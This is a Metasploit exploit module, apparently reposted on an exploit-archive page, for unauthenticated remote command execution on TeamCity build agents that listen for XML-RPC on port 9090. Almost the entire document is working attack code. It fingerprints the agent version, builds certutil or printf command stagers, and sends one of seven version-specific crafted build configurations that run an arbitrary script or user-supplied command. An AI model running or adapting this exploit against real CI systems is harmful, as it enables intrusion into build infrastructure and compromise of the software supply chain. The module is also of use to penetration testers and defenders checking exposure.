TeamCity Agent XML-RPC Command Execution

This Metasploit module allows remote code execution on TeamCity Agents configured to use bidirectional communication via xml-rpc. In bidirectional mode the TeamCity server pushes build commands to the Build Agents over port TCP/9090 without requiring authentication. Up until version 10 this was the default configuration. This Metasploit module supports TeamCity agents from version 6.0 onwards.


MD5 | 80eeea5e7ef4110564b68358344a467a

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'TeamCity Agent XML-RPC Command Execution',
'Description' => %q(
This module allows remote code execution on TeamCity Agents configured
to use bidirectional communication via xml-rpc. In bidirectional mode
the TeamCity server pushes build commands to the Build Agents over port
TCP/9090 without requiring authentication. Up until version 10 this was
the default configuration. This module supports TeamCity agents from
version 6.0 onwards.
),
'Author' => ['Dylan Pindur <[email protected]>'],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://www.tenable.com/plugins/nessus/94675']
],
'Platform' => %w[linux win],
'Targets' =>
[
['Windows', { 'Platform' => 'win' }],
['Linux', { 'Platform' => 'linux' }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 14 2015'))

deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST')
register_options(
[
Opt::RPORT(9090),
OptString.new(
'CMD',
[false, 'Execute this command instead of using command stager', '']
)
]
)
end

def check
version = determine_version
if !version.nil? && version >= 15772
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

def exploit
version = determine_version
if version.nil?
fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')
else
print_status("Found TeamCity Agent running build version #{version}")
end

unless datastore['CMD'].blank?
print_status('Executing user supplied command')
execute_command(datastore['CMD'], version)
return
end

case target['Platform']
when 'linux'
linux_stager(version)
when 'win'
windows_stager(version)
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
end

def windows_stager(version)
print_status('Constructing Windows payload')

stager = generate_cmdstager(
flavor: :certutil,
temp: '.',
concat_operator: "\n",
nodelete: true
).join("\n")
stager = stager.gsub(/^(?<exe>.{5}\.exe)/, 'start "" \k<exe>')

xml_payload = build_request(stager, version)
if xml_payload.nil?
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
end

print_status("Found compatible build config for TeamCity build #{version}")
send_request(xml_payload)
end

def linux_stager(version)
print_status('Constructing Linux payload')

stager = generate_cmdstager(
flavor: :printf,
temp: '.',
concat_operator: "\n",
nodelete: true
).join("\n")
stager << ' &'

xml_payload = build_request(stager, version)
if xml_payload.nil?
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
end

print_status("Found compatible build config for TeamCity build #{version}")
send_request(xml_payload)
end

def execute_command(cmd, version)
xml_payload = build_request(cmd, version)

if xml_payload.nil?
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
end

print_status("Found compatible build config for TeamCity build #{version}")
send_request(xml_payload)
end

def determine_version
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.getVersion</methodName>
<params></params>
</methodCall>
)
res = send_request_cgi(
{
'uri' => '/',
'method' => 'POST',
'ctype' => 'text/xml',
'data' => xml_payload.strip!
},
10
)

if !res.nil? && res.code == 200
xml_doc = res.get_xml_document
if xml_doc.errors.empty?
val = xml_doc.xpath('/methodResponse/params/param/value')
if val.length == 1
return val.text.to_i
end
end
end
return nil
end

def send_request(xml_payload)
res = send_request_cgi(
{
'uri' => '/',
'method' => 'POST',
'ctype' => 'text/xml',
'data' => xml_payload
},
10
)

if !res.nil? && res.code == 200
print_status("Successfully sent build configuration")
else
print_status("Failed to send build configuration")
end
end

def build_request(script_content, version)
case version
when 0..15771
return nil
when 15772..17794
return req_teamcity_6(script_content)
when 17795..21240
return req_teamcity_6_5(script_content)
when 21241..27401
return req_teamcity_7(script_content)
when 27402..32059
return req_teamcity_8(script_content)
when 32060..42001
return req_teamcity_9(script_content)
when 42002..46532
return req_teamcity_10(script_content)
else
return req_teamcity_2017(script_content)
end
end

def req_teamcity_2017(script_content)
build_code = Rex::Text.rand_text_alpha(8)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myBuildTypeExternalId>x</myBuildTypeExternalId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myServerParameters class="StringTreeMap">
<k>system.build.number</k>
<v>0</v>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myArtifactStorageSettings/>
<myBuildFeatures/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myParametersSpecs class="StringTreeMap"/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end

def req_teamcity_10(script_content)
build_code = Rex::Text.rand_text_alpha(8)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myBuildTypeExternalId>x</myBuildTypeExternalId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myServerParameters class="StringTreeMap">
<k>system.build.number</k>
<v>0</v>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildFeatures/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myParametersSpecs class="StringTreeMap"/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end

def req_teamcity_9(script_content)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myBuildTypeExternalId>x</myBuildTypeExternalId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myServerParameters class="StringTreeMap">
<k>system.build.number</k>
<v>0</v>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildFeatures/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end

def req_teamcity_8(script_content)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myServerParameters class="tree-map">
<entry>
<string>system.build.number</string>
<string>0</string>
</entry>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myBuildFeatures/>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end

def req_teamcity_7(script_content)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myServerParameters class="tree-map">
<no-comparator/>
<entry>
<string>system.build.number</string>
<string>0</string>
</entry>
</myServerParameters>
<myVcsRootOldRevisions class="tree-map">
<no-comparator/>
</myVcsRootOldRevisions>
<myVcsRootCurrentRevisions class="tree-map">
<no-comparator/>
</myVcsRootCurrentRevisions>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootEntries/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myRunnerParameters class="tree-map">
<no-comparator/>
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
<myServerParameters class="tree-map">
<no-comparator/>
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myBuildFeatures/>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end

def req_teamcity_6_5(script_content)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.run</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myPersonal>false</myPersonal>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myServerParameters class="tree-map">
<no-comparator/>
<entry>
<string>system.build.number</string>
<string>0</string>
</entry>
</myServerParameters>
<myVcsRootOldRevisions class="tree-map">
<no-comparator/>
</myVcsRootOldRevisions>
<myVcsRootCurrentRevisions class="tree-map">
<no-comparator/>
</myVcsRootCurrentRevisions>
<myAccessCode/>
<myArtifactDependencies/>
<myBuildTypeOptions/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootEntries/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myRunnerParameters class="tree-map">
<no-comparator/>
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
<myServerParameters class="tree-map">
<no-comparator/>
</myServerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end

def req_teamcity_6(script_content)
build_id = Rex::Text.rand_text_numeric(8)
xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.run</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>#{build_id}</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myAccessCode></myAccessCode>
<myPersonal>false</myPersonal>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myServerParameters class="tree-map">
<no-comparator/>
<entry>
<string>system.build.number</string>
<string>0</string>
</entry>
</myServerParameters>
<myVcsRootOldRevisions class="tree-map">
<no-comparator/>
</myVcsRootOldRevisions>
<myVcsRootCurrentRevisions class="tree-map">
<no-comparator/>
</myVcsRootCurrentRevisions>
<myArtifactDependencies/>
<myBuildTypeOptions/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootEntries/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myRunType>simpleRunner</myRunType>
<myServerParameters class="tree-map">
<no-comparator/>
</myServerParameters>
<myRunnerParameters class="tree-map">
<no-comparator/>
<entry>
<string>script.content</string>
<string>#{script_content}</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
)
return xml_payload.strip!
end
end

Related Posts